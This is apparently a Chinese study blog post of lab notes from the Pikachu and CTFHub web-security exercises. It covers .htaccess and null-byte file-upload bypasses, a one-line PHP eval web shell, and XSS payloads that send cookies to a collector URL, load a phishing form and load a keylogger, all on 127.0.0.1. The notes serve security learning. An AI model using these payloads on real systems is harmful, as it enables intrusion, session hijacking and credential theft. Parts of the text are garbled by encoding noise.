2021-10-09 文件上傳小問題與XSS(pikachu)
.htaccess漏洞利用
- 構(gòu)造.htaccess文件并上傳硕旗,文件內(nèi)容可以是:
//方法一
SetHandler application/x-httpd-php //所有的文件當(dāng)做php文件來解析
//方法二
AddType application/x-httpd-php .jpg //.jpg文件當(dāng)作php文件解析
當(dāng)上傳.htaccess文件到upload目錄時(shí),upload目錄下的文件會按其配置生效解析.
方法一這樣配置有一個(gè)問題,apache會將所有的.jpg后綴的文件當(dāng)作php文件解析橄镜,這樣會明顯影響系統(tǒng)的功能绩脆,改進(jìn)代碼如下,這樣系統(tǒng)就只對文件名包含“info.png”字符串的文件進(jìn)行解析阎毅。
<FilesMatch "^info.png$">
setHandler application/x-httpd-php
</FilesMatch>
- 上傳一句話后門(info.png),使用蟻劍類工具連接点弯,獲得flag
<?php @eval($_POST['attack']);?>
.htaccess文件使用要開啟apache httpd.config AllowOverride All
文件內(nèi)容檢測
在文件上傳時(shí)扇调,如果后綴和MIME都修改后仍無法上傳,顯示”文件錯(cuò)誤“等情況抢肛,考慮是對文件內(nèi)容進(jìn)行了檢測狼钮。制作圖片馬,上傳后蟻劍連接:
copy 圖片.jpg/b + 木馬.php/a 木馬.jpg
/b 表示以二進(jìn)制方式打開
/a 表示以ASCII方式打</pre>
00截?cái)?/h4>
我以前以為所謂00截?cái)嗑褪窃谖募屑?code>%00進(jìn)行截?cái)嗉裥酰@種方式是不對的熬芜,為什么呢?比如攻擊者構(gòu)造文件名:admintony.php%00.jpg
福稳,在提取后綴名的時(shí)候遇到%00
則認(rèn)為字符串結(jié)束了涎拉,那么他提取到的后綴名會是.php
,.php
后綴又不允許上傳所以上傳失敗了的圆。
應(yīng)該在數(shù)據(jù)包中必須含有上傳后文件的目錄情況才可以用鼓拧,比如數(shù)據(jù)包中存在path: uploads/
,那么攻擊者可以通過修改path的值來構(gòu)造paylod: uploads/aa.php%00
為什么修改path才可以越妈,因?yàn)槌绦蛑袡z測的是文件的后綴名季俩,如果后綴合法則拼接路徑和文件名,那么攻擊者修改了path以后的拼接結(jié)果為:uploads/aaa.php%00/aaa.png
梅掠,移動文件的時(shí)候會將文件保存為uploads/aaa.php
酌住,從而達(dá)到Getshell效果。
XSS測試平臺
創(chuàng)建項(xiàng)目瓤檐,創(chuàng)建完后會生成一個(gè)xss可用腳本地址
XSS的本質(zhì)是獲得cookie嗎赂韵?(答:主要是為了獲得cookie,XSS平臺的意義就是將獲取的cookie返回給攻擊者)
利用別人的cookie挠蛉,他們可以冒充真實(shí)的用戶祭示,在頒發(fā)cookie的那個(gè)網(wǎng)站中為所欲為,個(gè)人隱私在他們面前根本不存在。單純的alert函數(shù)就是彈窗嘛质涛,用戶可能會看到自己的cookie被彈出來稠歉。但是有了XSS平臺之后,每個(gè)觸發(fā)漏洞的用戶的cookie就會被發(fā)送到攻擊者搭建的XSS平臺上汇陆。
跨站腳本攻擊XSS怒炸,是最普遍的Web應(yīng)用安全漏洞。這類漏洞能夠使得攻擊者嵌入惡意腳本代碼到正常用戶會訪問到的頁面中毡代,當(dāng)正常用戶訪問該頁面時(shí)阅羹,則可導(dǎo)致嵌入的惡意腳本代碼的執(zhí)行,從而達(dá)到惡意攻擊用戶的目的教寂。其導(dǎo)致的危害可想而知捏鱼,如劫持用戶會話,插入惡意內(nèi)容酪耕、重定向用戶导梆、使用惡意軟件劫持用戶瀏覽器、繁殖XSS蠕蟲迂烁,甚至破壞網(wǎng)站看尼、修改路由器配置信息等。
常用的XSS攻擊手段和目的有: 1盟步、盜用cookie藏斩,獲取敏感信息。 2址芯、利用植入Flash灾茁,通過crossdomain權(quán)限設(shè)置進(jìn)一步獲取更高權(quán)限;或者利用Java等得到類似的操作。 3谷炸、利用iframe北专、frame、XMLHttpRequest或上述Flash等方式旬陡,以用戶的身份執(zhí)行一些管理動作拓颓,或執(zhí)行一些一般的如發(fā)微博、加好友描孟、發(fā)私信等操作驶睦。 4、利用可被攻擊的域受到其他域信任的特點(diǎn)匿醒,以受信任來源的身份請求一些平時(shí)不允許的操作场航,如進(jìn)行不當(dāng)?shù)耐镀被顒印? 5、在訪問量極大的一些頁面上的XSS可以攻擊一些小型網(wǎng)站廉羔,實(shí)現(xiàn)DDos攻擊的效果溉痢。
ctfhub那道題,ctf的題目應(yīng)該是讓我們獲得別人的cookie,但是這是ctf的題目孩饼,不是公共的服務(wù)髓削,沒有其他用戶,所以ctf模擬了一個(gè)機(jī)器人镀娶。那就很清楚了立膛,我們的目標(biāo)就是獲得這個(gè)機(jī)器人的Cookie,然后"盜它的號"梯码,所以獲取了這個(gè)機(jī)器人的Cookie就意味著成功宝泵。所以理所應(yīng)當(dāng)?shù)模琭lag也就藏在cookie里了忍些。所以第二個(gè)文本框就是模擬別人點(diǎn)擊這個(gè)包含xss的鏈接的情形鲁猩。
XSS 釣魚; XSS獲取cookie 罢坝;XSS鍵盤記錄還有很多需要學(xué)習(xí)的……
pikachu 之XSS練習(xí)
反射型XSS(GET)
當(dāng)輸入內(nèi)容時(shí), 內(nèi)容被執(zhí)行寫入當(dāng)網(wǎng)頁:(who is ”xxx",)
所以可以直接注入: <script>alert(document.cookie)</script>
盜取用戶cookie
復(fù)制當(dāng)前的url 輸入到新的界面中 就可以直接執(zhí)行剛才XSS的效果。GET方式的XSS漏洞更加容易被利用搅窿,一般利用的方式是將帶有跨站腳本的URL偽裝后發(fā)送給目標(biāo)嘁酿。比如某個(gè)論壇出現(xiàn)了XSS漏洞 我們就可以借此利用 來欺騙受害者 進(jìn)而達(dá)到XSS攻擊的目的。用戶一看前面的域名是比較著名的網(wǎng)站男应,以為沒問題闹司。后面的卻包含了惡意的JavaScript代碼,已get的方式提交到了網(wǎng)站沐飘,被返回到用戶的瀏覽器中執(zhí)行了游桩。
上述方式是彈窗的形式,這樣就可以把盜取的cookie保存到自己的站點(diǎn)中
<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
登錄http://127.0.0.1/pikachu/pkxss后臺查看獲取的cookie
反射型XSS (Post)
登錄頁面是必不可少的耐朴,登錄之后也是一個(gè)輸入框借卧。
POST請求區(qū)別與GET請求,POST請求不能從URL讓用戶向服務(wù)器提交數(shù)據(jù)筛峭。所以為了進(jìn)行注入铐刘,需要讓用戶代替攻擊者提交POST請求,這就需要攻擊者自己搭建站點(diǎn)(http://127.0.0.1/pikachu/pkxss 在這里相當(dāng)于自己的站點(diǎn))影晓,然后在站點(diǎn)內(nèi)寫一個(gè)POST表單(/xcookie/post.html)镰吵,將我們搭建出的連接發(fā)給用戶,這樣就能讓用戶幫攻擊者提交POST請求發(fā)給存在XSS漏洞的中挂签。這樣就能竊取到用戶的cookie疤祭,就能偽造用戶登陸達(dá)到破壞的目的。
form表單中action就是提交存在漏洞的網(wǎng)頁的地址饵婆。
input中value的值就是我們輸入的惡意代碼勺馆。
點(diǎn)擊之后是下面這個(gè)偽造的頁面,點(diǎn)擊submit時(shí)數(shù)據(jù)已經(jīng)post走了,再一次盜取cookie保存下來谓传,還獲取了用戶名和密碼(md5加密)
存儲型XSS
試一下alert(1)蜈项,有彈窗說明有漏洞。
存儲型xss和反射型的區(qū)別:就是當(dāng)你刷新這個(gè)界面续挟,還是會出現(xiàn)這個(gè)彈窗
寫入和之前一樣的payload保存竊取的cookie:(每刷新一次就獲取一次)
存儲型XSS漏洞還可以和釣魚網(wǎng)站以及竊取鍵盤輸入結(jié)合起來紧卒。
-
釣魚
彈出偽造驗(yàn)證框腳本(xfish/fish.php)
將用戶輸入的信息進(jìn)行處理并保存(xfish/xfish.php)
釣魚Payload:
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"'></script>
這里有個(gè)巨坑,由于這里用的phpstudy搭建的環(huán)境诗祸,會發(fā)現(xiàn)一直提交授權(quán)跑芳,一直輸入密碼都不會將數(shù)據(jù)寫入數(shù)據(jù)庫。這個(gè)坑后來找到了原因:PHP 的 HTTP 認(rèn)證機(jī)制僅在 PHP 以 Apache 模塊方式運(yùn)行時(shí)才有效直颅,因此該功能不適用于 CGI 版本博个,我這里使用的是phpStudy搭建的環(huán)境,默認(rèn)是以CGI版本運(yùn)行PHP功偿。后續(xù)通過重新搭建環(huán)境解決此問題盆佣。
這里使用作弊方法,直接將賬號密碼寫入
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php?username=admin&password=123456"'></script>
———————————————— 原文鏈接:https://blog.csdn.net/witwitwiter/article/details/115767014
-
鍵盤記錄
制作鍵盤的js械荷,異步發(fā)送給鍵盤記錄腳本(rkeypress/rk.js)
將接受的按鍵記錄處理并保存(rkeypress/rkserver.php)
鍵盤記錄Payload:
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"'></script>
DOM型xss
首先我們在輸入框中隨便輸入一串字符共耍。可以看到彈出一個(gè)what do you see?的提示吨瞎。我們查看一下源碼看到底做了一個(gè)什么樣的操作痹兜。代碼太長比較難找,Ctrl+F搜索一下what定位到源碼的相關(guān)位置颤诀。
可以看到這里有一段js的代碼字旭,我們可以簡單分析一下這段代碼。以前我們接觸到的反射型和存儲型都是通過后臺輸出崖叫,我們可以從源代碼中看到輸入點(diǎn)就是源碼中的input標(biāo)簽遗淳,DOM型的XSS漏洞通過了解我們可以知道是純前端的漏洞,分析源碼可移知道我們輸入后得到一個(gè)字符串归露,然后通過字符串拼接的方式拼接到a href中洲脂。輸出點(diǎn)我們可以從<a>標(biāo)簽構(gòu)造一個(gè)閉包函數(shù)。
payload:' οnclick=alert(1)
拼接結(jié)果: <a href=' ' οnclick=alert(1)'>
其實(shí)這種DOM注入沒有什么太大的用處剧包,因?yàn)榧葲]有發(fā)送到后臺進(jìn)行操作恐锦,也沒有輸入到URL中去。
DOM型xss-x
查看源碼:
payload和剛才的一樣疆液,也是首先閉合<a>標(biāo)簽一铅。
DOM型XSS只在前端,與后端毫無關(guān)系堕油。
DOM-X型危害更大潘飘,它能夠像反射型一樣在URL中體現(xiàn)肮之,將URL發(fā)給了受害者就能進(jìn)行攻擊。
參考資料
https://blog.csdn.net/redwand/article/details/104105269
https://www.cnblogs.com/chalan630/p/12547844.html
https://blog.csdn.net/qq_17046291/article/details/99336431
https://blog.csdn.net/redwand/article/details/104152782
https://blog.csdn.net/weixin_42299862/article/details/108518706
https://blog.csdn.net/weixin_43899561/article/details/89429726
https://blog.csdn.net/weixin_43526443/article/details/105737140